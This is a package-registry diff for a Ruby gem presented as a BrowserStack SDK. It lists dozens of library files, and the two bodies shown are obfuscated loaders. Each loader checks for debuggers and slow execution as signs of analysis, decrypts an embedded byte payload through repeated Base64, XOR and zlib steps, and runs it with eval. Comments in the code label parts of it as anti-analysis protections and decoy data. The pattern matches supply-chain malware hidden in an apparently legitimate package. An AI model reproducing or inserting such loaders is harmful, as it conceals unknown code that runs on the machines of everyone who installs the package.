browserstack-ruby-sdk 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +7 -0
  3. data/LICENSE.txt +52 -0
  4. data/README.md +115 -0
  5. data/STYLE_GUIDE.md +43 -0
  6. data/exe/browserstack-sdk +8 -0
  7. data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
  8. data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
  9. data/lib/browserstack/browserstack_logger_factory.rb +123 -0
  10. data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
  11. data/lib/browserstack/child_initializer.rb +123 -0
  12. data/lib/browserstack/cli/browserstack_cli.rb +123 -0
  13. data/lib/browserstack/cli/grpc_client.rb +123 -0
  14. data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
  15. data/lib/browserstack/command_executor.rb +123 -0
  16. data/lib/browserstack/config/browserstack_config.rb +123 -0
  17. data/lib/browserstack/constants.rb +123 -0
  18. data/lib/browserstack/eventbus/event.rb +123 -0
  19. data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
  20. data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
  21. data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
  22. data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
  23. data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
  24. data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
  25. data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
  26. data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
  27. data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
  28. data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
  29. data/lib/browserstack/instance/test_framework_instance.rb +123 -0
  30. data/lib/browserstack/instance/tracked_context.rb +123 -0
  31. data/lib/browserstack/instance/tracked_instance.rb +123 -0
  32. data/lib/browserstack/modules/base_module.rb +123 -0
  33. data/lib/browserstack/modules/web_driver_module.rb +123 -0
  34. data/lib/browserstack/monitor/performance.rb +123 -0
  35. data/lib/browserstack/monitor/performance_annotator.rb +123 -0
  36. data/lib/browserstack/monitor/performance_constants.rb +123 -0
  37. data/lib/browserstack/monitor/performance_test.rb +123 -0
  38. data/lib/browserstack/monitor/sdk_integration.rb +123 -0
  39. data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
  40. data/lib/browserstack/patches/cucumber_patches.rb +123 -0
  41. data/lib/browserstack/patches/selenium_patches.rb +123 -0
  42. data/lib/browserstack/runner.rb +123 -0
  43. data/lib/browserstack/utils/api_utility_methods.rb +123 -0
  44. data/lib/browserstack/utils/framework_detector.rb +123 -0
  45. data/lib/browserstack/utils/http_calls.rb +123 -0
  46. data/lib/browserstack/utils/util_method.rb +123 -0
  47. data/lib/browserstack/version.rb +123 -0
  48. data/lib/browserstack_sdk.rb +123 -0
  49. data/proto/browserstack/sdk/v1/sdk.proto +487 -0
  50. data/sample/browserstack_sample.yml +298 -0
  51. metadata +218 -0
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _g1d5488 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _p79cdcc = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _p79cdcc) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _n4a8ac1 = _g1d5488.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _u74e0a3 = ->(_he58c8f, _c5d4782) do
32
+ _ja7adba = []
33
+ _he58c8f.each_with_index do |byte, idx|
34
+ _ja7adba << (byte ^ _c5d4782[idx % _c5d4782.length])
35
+ end
36
+ _ja7adba
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _ba34219 = lambda do |_u1174be, _j8a4aef, _jb315e7, _uc62af3|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_u1174be.pack('C*'))
44
+ if current_hash != _uc62af3
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _u1174be = [60, 174, 186, 99, 241, 230, 52, 227, 68, 52, 102, 188, 230, 180, 146, 150, 75, 123, 118, 78, 49, 60, 7, 83, 74, 43, 8, 232, 154, 158, 123, 239, 169, 160, 225, 146, 40, 84, 81, 33, 237, 39, 183, 220, 152, 213, 183, 176, 229, 116, 56, 224, 193, 61, 114, 7, 62, 167, 123, 45, 204, 135, 18, 39, 79, 238, 232, 147, 207, 101, 127, 90, 14, 114, 177, 119, 41, 157, 98, 73, 76, 68, 210, 122, 179, 40, 137, 255, 135, 211, 110, 121, 179, 31, 143, 157, 94, 171, 24, 22, 25, 28, 196, 164, 56, 90, 185, 153, 15, 50, 79, 142, 70, 100, 28, 165, 188, 239, 181, 183, 137, 218, 39, 239, 58, 89, 196, 77, 44, 210, 247, 206, 46, 126, 252, 185, 112, 61, 230, 104, 170, 206, 172, 246, 180, 13, 96, 108, 201, 31, 245, 101, 244, 146, 225, 167, 237, 128, 30, 117, 169, 73, 111, 121, 131, 194, 3, 129, 78, 93, 52, 40, 48, 22, 13, 20, 217, 93, 17, 156, 233, 230, 225, 71, 231, 57, 150, 60, 63, 163, 228, 157, 125, 26, 129, 124, 172, 60, 182, 112, 254, 230, 41, 171, 96, 49, 144, 26, 107, 53, 122, 129, 130, 216, 117, 172, 121, 230, 8, 102, 88, 36, 61, 106, 133, 152, 235, 55, 194, 251, 237, 66, 14, 234, 101, 140, 134, 214, 80, 159, 129, 42, 211, 62, 204, 197, 97, 70, 104, 251, 97, 81, 168, 233, 59, 65, 97, 213, 21, 73, 137, 150, 6, 85, 194, 43, 65, 251, 132, 64, 207, 1, 197, 37, 254, 232, 209, 240, 199, 229, 108, 3, 42, 126, 15, 201, 140, 233, 162, 77, 72, 0, 149, 196, 50, 213, 159, 111, 36, 124, 133, 105, 26, 215, 115, 95, 89, 240, 31, 212, 70, 140, 229, 44, 149, 1, 19, 27, 230, 95, 16, 23, 84, 137, 77, 13, 68, 196, 20, 205, 176, 171, 212, 152, 231, 129, 65, 55, 241, 144, 207, 85, 192, 219, 151, 237, 219, 184, 185, 29, 189, 125, 233, 226, 3, 133, 91, 125, 132, 42, 100, 12, 82, 14, 15, 121, 65, 208, 167, 188, 172, 62, 170, 211, 209, 175, 12, 100, 149, 130, 228, 132, 199, 39, 156, 87, 66, 229, 28, 184, 220, 57, 101, 138, 227, 195, 174, 232, 132, 12, 35, 196, 130, 86, 136, 165, 205, 120, 77, 3, 121, 199, 144, 123, 11, 126, 100, 152, 131, 36, 190, 234, 54, 60, 167, 175, 57, 106, 29, 234, 177, 150, 33, 163, 19, 82, 34, 163, 95, 57, 235, 159, 227, 131, 206, 132, 153, 83, 217, 17, 103, 56, 55, 35, 178, 152, 178, 112, 201, 93, 216, 88, 149, 164, 98, 14, 33, 91, 47, 218, 251, 72, 28, 118, 239, 236, 8, 95, 25, 168, 16, 95, 33, 181, 157, 55, 12, 253, 7, 113, 42, 5, 73, 105, 126, 175, 128, 174, 71, 80, 112, 156, 139, 206, 46, 181, 126, 48, 94, 199, 96, 53, 196, 39, 36, 148, 41, 138, 77, 65, 128, 223, 10, 192, 138, 189, 168, 204, 191, 94, 0, 132, 120, 187, 2, 210, 32, 109, 136, 51, 130, 122, 10, 38, 52, 221, 14, 91, 80, 32, 156, 158, 23, 177, 112, 9, 26, 50, 159, 26, 109, 228, 165, 240, 239, 206, 206, 79, 110, 161, 110, 217, 40, 14, 8, 128, 160, 21, 83, 57, 51, 238, 209, 82, 103, 146, 14, 118, 58, 234, 207, 103, 178, 220, 10, 246, 81, 22, 82, 14, 54, 3, 214, 205, 241, 47, 111, 21, 138, 0, 69, 197, 99, 158, 222, 238, 80, 110, 204, 134, 15, 65, 96, 32, 110, 19, 57, 69, 249, 103, 27, 240, 222, 40, 82, 33, 191, 113, 6, 111, 144, 215, 194, 106, 16, 27, 152, 5, 42, 29, 49, 60, 200, 34, 235, 26, 187, 36, 200, 214, 50, 23, 253, 105, 236, 98, 32, 111, 54, 125, 105, 79, 75, 201, 104, 106, 111, 74, 247, 238, 188, 122, 192, 94, 32, 151, 63, 54, 31, 41, 81, 11, 32, 24, 208, 209, 128, 213, 84, 191, 204, 120, 242, 15, 152, 240, 24, 87, 205, 179, 111, 53, 101, 7, 191, 119, 63, 159, 85, 115, 167, 156, 56, 197, 221, 24, 163, 20, 179, 213, 161, 160, 42, 3, 62, 119, 174, 138, 252, 136, 167, 209, 157, 82, 71, 127, 28, 162, 171, 91, 251, 100, 117, 237, 184, 40, 144, 30, 34, 216, 97, 183, 88, 204, 80, 24, 155, 209, 60, 216, 51, 253, 185, 103, 204, 126, 221, 43, 152, 182, 59, 164, 133, 69, 137, 88, 88, 97, 148, 98, 46, 102, 236, 63, 118, 47, 120, 66, 50, 144, 15, 235, 1, 188, 67, 70, 229, 109, 139, 135, 191, 166, 104, 201, 211, 204, 70, 180, 218, 95, 37, 32, 233, 172, 180, 132, 168, 213, 84, 37, 1, 163, 213, 77, 22, 188, 247, 153, 23, 144, 74, 211, 96, 112, 234, 93, 2, 248, 123, 93, 152, 115, 176, 90, 147, 106, 115, 18, 236, 55, 180, 63, 240, 155, 236, 197, 207, 227, 236, 201, 20, 198, 39, 73, 208, 95, 188, 140, 142, 245, 254, 103, 29, 238, 157, 95, 32, 7, 250, 65, 47, 66, 112, 212, 248, 238, 120, 209, 130, 141, 189, 67, 192, 179, 29, 141, 146, 120, 54, 253, 226, 106, 222, 202, 36, 123, 123, 159, 77, 119, 22, 221, 9, 139, 36, 197, 246, 253, 153, 118, 252, 39, 76, 154, 193, 70, 186, 40, 201, 36, 138, 105, 230, 60, 91, 121, 250, 214, 165, 181, 42, 45, 79, 101, 52, 76, 33, 201, 46, 151, 18, 11, 171, 62, 134, 38, 229, 5, 40, 133, 117, 97, 89, 214, 114, 60, 85, 51, 164, 24, 230, 253, 55, 188, 105, 47, 51, 113, 206, 170, 190, 11, 170, 233, 156, 141, 171, 55, 214, 111, 123, 29, 60, 7, 200] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _hf9e225 = [150, 110, 58, 243, 28, 162, 202, 63, 210, 91, 148, 47, 91, 216, 45, 183, 68, 116, 183, 179]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _j8a4aef = [0, 1, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _uc62af3 = '526c9646d2f915d5d7af31a5994575c147df97aed9196e4afcefd16dd53a85a4'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _a7815af = [72, 136, 50, 127, 62, 118, 118, 45, 130, 40, 113, 216, 159, 40, 6, 91, 240, 60, 18, 34, 78, 91, 22, 222, 34, 111, 58, 28, 63, 167, 124, 252, 117, 108, 11, 19, 169, 142, 36, 19, 199, 2, 253, 168, 111, 55, 153, 46, 115, 49, 46, 112, 117, 237, 129, 116, 92, 255, 107, 78, 212, 218, 185, 83, 30, 196, 132, 162, 3, 8, 140, 57, 243, 236, 129, 54, 238, 144, 56, 81, 6, 52, 81, 172, 47, 164, 88, 84, 240, 57, 229, 189, 25, 174, 162, 216, 94, 111, 120, 220, 244, 159, 176, 102, 25, 213, 175, 245, 70, 141, 255, 33, 114, 214, 186, 136, 24, 237, 212, 90, 157, 201, 220, 18, 227]
64
+ _fbb3eb4 = [97, 163, 111, 93, 252, 165, 208, 162, 95, 126, 55, 162, 170, 226, 105, 23, 217, 64, 181, 119, 249, 251, 186, 143, 98, 64, 217, 95, 110, 82, 214, 29, 216, 33, 213, 169, 163, 212, 209, 177, 251, 159, 86, 77, 111, 38, 176, 78, 169, 178, 125, 111, 37, 243, 62, 242]
65
+ _g0ecd39 = [3, 13, 223, 86, 153, 223, 34, 203, 22, 115, 77, 111, 158, 93, 96, 99, 236, 192, 138, 177, 217, 64, 103, 231, 249, 71, 23, 165, 250, 96, 177, 50, 221, 115, 204, 101, 118, 107, 205, 108, 130, 121, 234, 155, 165, 143, 126, 62, 99, 159, 201, 71, 94, 159, 61, 67, 156, 170, 153, 241, 36, 192, 10, 235, 234, 97, 162, 206, 57, 103, 137, 29, 169, 232, 218, 66, 58]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _ba34219.call(_u1174be, _j8a4aef, _hf9e225, _uc62af3)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _v94a373 = _u1174be.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_g749062|
79
+ # Calculate which round we're reversing
80
+ _z71a34e = 5 - _g749062 - 1
81
+
82
+ # Get key for this reverse round
83
+ _hba32da = 4
84
+ _hf67d6d = _z71a34e * _hba32da
85
+ _x808892 = _hf9e225[_hf67d6d, _hba32da]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _j8a4aef[_z71a34e] == 1
93
+ _obf8da7 = _v94a373.pack('C*')
94
+ _obf8da7 = Base64.strict_decode64(_obf8da7)
95
+ _v94a373 = _obf8da7.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _v94a373 = _u74e0a3.call(_v94a373, _x808892)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _obf8da7 = _v94a373.pack('C*')
103
+ _obf8da7 = Zlib::Inflate.inflate(_obf8da7)
104
+ _v94a373 = _obf8da7.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _s6037f7 = _v94a373.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _s6037f7.strip.empty? || _s6037f7.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_s6037f7, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _ac43911
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_ac43911.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _ofb9632 = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _w8fd15f = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _w8fd15f) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _x169d99 = _ofb9632.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _a20673d = ->(_i741fd8, _mecbef8) do
32
+ _x3d61b5 = []
33
+ _i741fd8.each_with_index do |byte, idx|
34
+ _x3d61b5 << (byte ^ _mecbef8[idx % _mecbef8.length])
35
+ end
36
+ _x3d61b5
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _q35b0db = lambda do |_v485f47, _ad89dfa, _cef4b5f, _p81dcd0|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_v485f47.pack('C*'))
44
+ if current_hash != _p81dcd0
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _v485f47 = [201, 104, 81, 84, 132, 28, 185, 193, 177, 177, 83, 85, 147, 254, 153, 215, 208, 212, 18, 214, 127, 185, 111, 92, 207, 205, 49, 8, 116, 250, 66, 82, 143, 18, 30, 121, 155, 167, 224, 30, 14, 199, 247, 54, 141, 213, 110, 130, 126, 95, 78, 184, 142, 242, 8, 249, 1, 191, 15, 223, 154, 97, 209, 102, 67, 57, 7, 251, 250, 121, 173, 88, 24, 174, 182, 102, 196, 52, 190, 130, 225, 88, 77, 40, 143, 229, 115, 70, 94, 82, 85, 40, 163, 138, 238, 39, 100, 60, 42, 33, 172, 246, 49, 162, 202, 9, 103, 182, 45, 172, 5, 241, 168, 118, 217, 226, 135, 142, 197, 70, 152, 84, 36, 5, 113, 114, 127, 117, 87, 245, 17, 121, 12, 38, 127, 166, 13, 65, 89, 203, 114, 229, 150, 115, 192, 248, 1, 106, 202, 176, 231, 128, 110, 135, 233, 158, 52, 241, 188, 102, 207, 86, 114, 40, 251, 28, 181, 93, 193, 58, 103, 156, 39, 146, 238, 144, 213, 65, 249, 199, 131, 86, 32, 97, 80, 166, 255, 118, 194, 59, 21, 49, 113, 254, 128, 169, 99, 37, 173, 200, 58, 4, 87, 134, 227, 190, 243, 203, 7, 145, 184, 164, 6, 217, 4, 37, 149, 70, 119, 131, 4, 145, 6, 157, 181, 195, 165, 15, 138, 30, 213, 175, 185, 32, 234, 96, 128, 98, 150, 233, 122, 191, 68, 243, 191, 193, 16, 208, 70, 94, 237, 197, 26, 168, 235, 241, 173, 104, 44, 67, 38, 164, 109, 15, 210, 233, 244, 167, 227, 41, 157, 37, 170, 34, 29, 211, 124, 176, 2, 125, 135, 183, 164, 23, 240, 105, 26, 25, 22, 71, 170, 42, 234, 67, 11, 16, 132, 228, 134, 141, 216, 227, 85, 193, 150, 187, 72, 113, 92, 14, 156, 123, 64, 49, 182, 218, 193, 171, 255, 140, 46, 195, 235, 130, 15, 204, 59, 133, 187, 63, 28, 123, 142, 247, 2, 67, 177, 88, 145, 173, 5, 137, 182, 22, 209, 161, 212, 85, 175, 152, 5, 223, 192, 141, 30, 17, 182, 156, 54, 176, 154, 181, 75, 203, 71, 176, 149, 216, 114, 63, 191, 184, 254, 187, 50, 56, 148, 26, 110, 147, 247, 61, 182, 127, 120, 192, 184, 60, 197, 139, 116, 43, 228, 6, 94, 138, 55, 213, 157, 133, 54, 179, 179, 236, 77, 99, 188, 19, 34, 10, 168, 255, 110, 189, 18, 134, 48, 196, 235, 185, 71, 2, 84, 141, 57, 18, 52, 179, 46, 149, 7, 164, 81, 72, 194, 63, 179, 201, 182, 255, 3, 51, 175, 2, 76, 143, 224, 82, 142, 32, 233, 249, 175, 92, 200, 133, 202, 147, 85, 78, 40, 198, 127, 82, 19, 102, 101, 88, 92, 4, 129, 212, 137, 35, 253, 245, 52, 144, 19, 98, 169, 222, 1, 36, 3, 207, 13, 86, 33, 254, 81, 249, 36, 198, 180, 69, 144, 253, 186, 3, 17, 21, 33, 234, 111, 158, 32, 112, 15, 254, 92, 249, 233, 192, 186, 107, 228, 110, 140, 207, 181, 235, 123, 133, 172, 229, 175, 248, 14, 195, 178, 36, 42, 14, 81, 63, 176, 177, 10, 115, 169, 224, 14, 70, 38, 77, 184, 237, 55, 78, 0, 88, 191, 39, 223, 76, 212, 25, 87, 152, 167, 161, 227, 223, 208, 81, 194, 70, 156, 169, 176, 222, 200, 199, 49, 154, 160, 230, 31, 4, 242, 103, 225, 46, 215, 182, 97, 132, 167, 170, 122, 46, 5, 121, 225, 128, 180, 133, 151, 46, 239, 15, 44, 224, 85, 61, 57, 98, 250, 152, 208, 68, 186, 42, 146, 219, 115, 211, 175, 198, 151, 61, 176, 252, 181, 115, 225, 247, 27, 24, 225, 132, 208, 67, 135, 46, 217, 243, 188, 54, 144, 133, 253, 243, 120, 236, 121, 137, 223, 162, 2, 126, 243, 84, 187, 48, 237, 184, 210, 0, 137, 117, 97, 195, 74, 31, 157, 145, 21, 222, 205, 137, 225, 137, 184, 108, 52, 150, 157, 177, 253, 122, 215, 108, 162, 114, 147, 67, 226, 42, 140, 226, 247, 106, 34, 123, 145, 174, 42, 48, 47, 149, 217, 154, 162, 155, 235, 29, 111, 21, 113, 54, 8, 191, 244, 208, 210, 76, 44, 220, 57, 63, 87, 240, 29, 218, 190, 244, 179, 51, 145, 137, 252, 160, 254, 43, 13, 183, 128, 213, 31, 159, 242, 251, 214, 90, 87, 114, 208, 109, 186, 118, 92, 191, 118, 112, 228, 13, 155, 198, 151, 239, 138, 15, 21, 127, 27, 129, 25, 55, 199, 26, 189, 202, 211, 208, 66, 252, 163, 175, 201, 134, 238, 84, 224, 150, 227, 245, 31, 58, 158, 237, 207, 170, 161, 44, 141, 46, 195, 172, 68, 25, 206, 198, 182, 204, 189, 174, 171, 3, 191, 223, 112, 10, 15, 203, 2, 131, 124, 158, 3, 150, 39, 142, 254, 41, 97, 117, 98, 120, 135, 147, 21, 178, 109, 253, 249, 6, 150, 35, 255, 238, 107, 183, 45, 227, 101, 135, 122, 107, 207, 9, 27, 195, 57, 93, 26, 122, 160, 23, 14, 18, 15, 148, 178, 95, 26, 67, 205, 139, 79, 110, 170, 195, 102, 209, 150, 18, 226, 10, 134, 24, 52, 99, 239, 165, 16, 142, 183, 190, 153, 236, 184, 193, 234, 252, 21, 146, 236, 140, 195, 54, 252, 5, 98, 239, 51, 60, 195, 200, 154, 83, 83, 92, 211, 102, 134, 17, 214, 179, 176, 20, 50, 108, 164, 239, 226, 151, 136, 68, 225, 97, 208, 248, 79, 168, 174, 58, 108, 102, 79, 135, 167, 227, 246, 188, 98, 83, 197, 82, 231, 199, 25, 184, 10, 113, 243, 242, 68, 68, 38, 130, 153, 9, 186, 202, 36, 88, 128, 28, 147, 18, 249, 193, 56, 227, 79, 171, 66, 203, 189, 60, 6, 213, 11, 115, 27, 124, 214, 242, 13, 20, 211, 183, 158, 51, 74, 17, 173, 88, 36, 176, 50, 110, 200, 205, 224, 41, 84, 137, 53, 141, 149, 176, 60, 118, 98, 191, 229, 111, 177, 106, 60, 36, 254, 163, 84, 160, 33, 195, 95, 71, 102, 108, 219, 60, 167, 188, 35, 208, 12, 160, 244, 164, 17, 144, 51, 245, 209, 156, 3, 146, 50, 24, 0, 130, 228, 154, 113, 87, 108, 85, 157, 217, 94, 62, 228, 24, 254, 228, 115, 75, 6, 167, 111, 67, 36, 71, 76, 119, 240, 62, 66, 225, 223, 221, 131, 180, 73, 5, 49, 24, 155, 172, 109, 8, 56, 213, 146, 128, 26, 194, 150, 233, 250, 63, 6, 30, 141, 58, 198, 218, 43, 46, 103, 10, 141, 158, 47, 53, 204, 234, 41, 107, 250, 60, 205, 129, 194, 50, 154, 73, 238, 248, 29, 169, 96, 130, 226, 221, 62, 135, 216, 21, 67, 71, 199, 204, 99, 166, 105, 184, 145, 97, 216, 231, 32, 197, 113, 229, 185, 225, 132, 6, 23, 41, 138, 28, 21, 179, 43, 0, 100, 28, 17, 131, 63, 189, 70, 40, 227, 132, 179, 35, 157, 17, 138, 152, 91, 120, 43, 162, 226, 105, 105, 72, 62, 53, 98, 4, 37, 73, 73, 105, 205, 230, 96, 38, 235, 170, 22, 147, 137, 133, 6, 57, 196, 52, 61, 163, 206, 197, 157, 166, 70, 136, 254, 165, 128, 164, 176, 65, 121, 115, 9, 251, 207, 242, 231, 120, 111, 177, 103, 104, 81, 60, 85, 114, 185, 18, 134, 143, 160, 97, 136, 142, 149, 51, 116, 42, 28, 219, 6, 168, 27, 67, 10, 40, 191, 26, 170, 230, 216, 159, 129, 158, 85, 211, 138, 9, 7, 141, 73, 199, 160, 22, 57, 15, 152, 192, 125, 244, 9, 70, 98, 218, 184, 105, 246, 81, 98, 26, 72, 18, 126, 143, 45, 168, 56, 201, 1, 174, 210, 189, 47, 215, 26, 249, 76, 44, 128, 30, 239, 3, 162, 98, 137, 252, 136, 222, 199, 106, 156, 204, 208, 65, 16, 147, 160, 106, 172, 62, 42, 10, 249, 58, 191, 147, 217, 234, 140, 87, 209, 142, 167, 123, 181, 134, 181, 166, 182, 3, 21, 245, 150, 70, 198, 192, 205, 220, 185, 28, 201, 205, 104, 170, 3, 174, 1, 183, 80, 163, 214, 151, 90, 94, 251, 56, 119, 224, 87, 163, 100, 39, 11, 41, 120, 44, 27, 235, 49, 90, 34, 188, 1, 115, 187, 207, 196, 155, 96, 132, 207, 184, 88, 243, 248, 55, 154, 216, 194, 106, 41, 37, 76, 10, 221, 63, 163, 224, 169, 235, 82, 25, 219, 101, 52, 11, 53, 173, 34, 60, 16, 200, 42, 6, 183, 246, 217, 194, 137, 197, 70, 151, 170, 246, 54, 118, 247, 157, 118, 237, 230, 117, 154, 121, 231, 230, 129, 197, 61, 93, 129, 159, 45, 220, 51, 12, 91, 214, 201, 38, 184, 216, 40, 122, 66, 10, 11, 53, 171, 226, 247, 113, 28, 139, 117, 235, 172, 133, 120, 221, 250, 154, 119, 188, 206, 148, 140, 246, 228, 196, 150, 148, 158, 61, 126, 6, 220, 105, 74, 1, 26, 126, 159, 237, 72, 245, 185, 1, 62, 24, 144, 47, 188, 135, 146, 117, 87, 186, 34, 53, 205, 89, 10, 172, 38, 162, 67, 7, 60, 231, 232, 95, 203, 110, 176, 209, 0, 109, 60, 106, 186, 181, 250, 17, 82, 2, 126, 163, 89, 142, 186, 122, 191, 231, 63, 149, 89, 255, 214, 141, 64, 236, 150, 188, 136, 111, 224, 69, 28, 193, 41, 100, 147, 121, 102, 96, 38, 186, 119, 160, 129, 240, 247, 234, 77, 128, 160, 144, 188, 42, 187, 90, 94, 165, 255, 161, 94, 8, 120, 30, 69, 158, 37, 133, 214, 203, 209, 1, 24, 192, 47, 194, 86, 212, 103, 234, 129, 243, 125, 28, 178, 10, 2, 106, 208, 183, 217, 144, 145, 244, 70, 207, 123, 121, 24, 62, 49, 13, 106, 177, 125, 108, 76, 190, 199, 3, 134, 16, 136, 140, 66, 37, 194, 220, 177, 175, 150, 195, 21, 111, 5, 78, 185, 228, 70, 192, 61, 208, 176, 41, 135, 138, 82, 83, 28, 254, 145, 105, 182, 135, 248, 186, 129, 154, 167, 21, 175, 68, 181, 87, 160, 205, 219, 30, 118, 63, 219, 196, 57, 93, 221, 100, 222, 116, 167, 19, 217, 244, 8, 129, 149, 95, 190, 112, 79, 246, 83, 168, 134, 28, 137, 252, 69, 115, 139, 237, 165, 9, 160, 69, 8, 95, 142, 82, 223, 41, 185, 204, 127, 57, 159, 179, 208, 101, 167, 92, 111, 242, 152, 63, 76, 44, 131, 179, 133, 143, 32, 222, 43, 157, 93, 95, 142, 237, 159, 139, 140, 216, 12, 165, 1, 228, 130, 176, 29, 40, 71, 251, 6, 65, 97, 71, 145, 129, 179, 251, 58, 55, 62, 53, 177, 221, 198, 77, 93, 171, 187, 193, 11, 69, 84, 222, 195, 5, 210, 81, 230, 177, 170, 228, 37, 253, 193, 74, 46, 246, 221, 53, 94, 169, 222, 34, 17, 114, 240, 25, 189, 165, 97, 184, 210, 244, 237, 38, 83, 154, 134, 34, 0, 40, 56, 254, 87, 3, 179, 95, 182, 142, 125, 132, 14, 123, 123, 136, 211, 231, 221, 170, 84, 22, 112, 120, 212, 44, 226, 222, 90, 171, 102, 68, 41, 164, 240, 100, 191, 40, 250, 8, 67, 113, 230, 18, 52, 215, 104, 57, 171, 183, 173, 150, 77, 33, 230, 11, 233, 205, 66, 80, 173, 122, 154, 187, 102, 209, 52, 132, 158, 78, 167, 206, 165, 144, 21, 96] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _vea874a = [11, 245, 167, 199, 92, 148, 106, 95, 195, 171, 45, 33, 149, 229, 136, 143, 177, 178, 92, 193]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _ad89dfa = [1, 0, 0, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _p81dcd0 = 'ba577bd2d21fbd25163bde461bebcf5cf4d05ae80482c5d00e0f0af9231e569f'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _w449ffc = [132, 224, 99, 176, 93, 203, 96, 137, 70, 17, 132, 178, 242, 196, 32, 230, 128, 138, 108, 185, 179, 27, 235, 21, 130, 223, 157, 163, 145, 171, 44, 182, 72, 151, 109, 26, 96, 226, 1, 114, 8, 52, 57, 6, 34, 160, 229, 91, 73, 103, 207, 4, 20, 44, 182, 221, 223, 53, 62, 124, 171, 58, 23, 236, 73, 56, 134, 137, 73, 111, 57, 69, 231, 236, 160, 147, 223, 39, 251, 47, 115, 168, 24, 199, 144, 109, 111, 228, 87, 47, 18, 202, 230, 84, 46, 32, 158, 35, 67, 123, 113, 132, 195, 107, 214, 166, 235, 126, 180, 94, 60, 247, 20, 233, 180, 78, 76, 220, 170, 64, 82, 56, 238, 13, 169, 175, 59, 85, 1, 146, 184, 241, 166, 83, 25, 69, 134, 122, 94, 200]
64
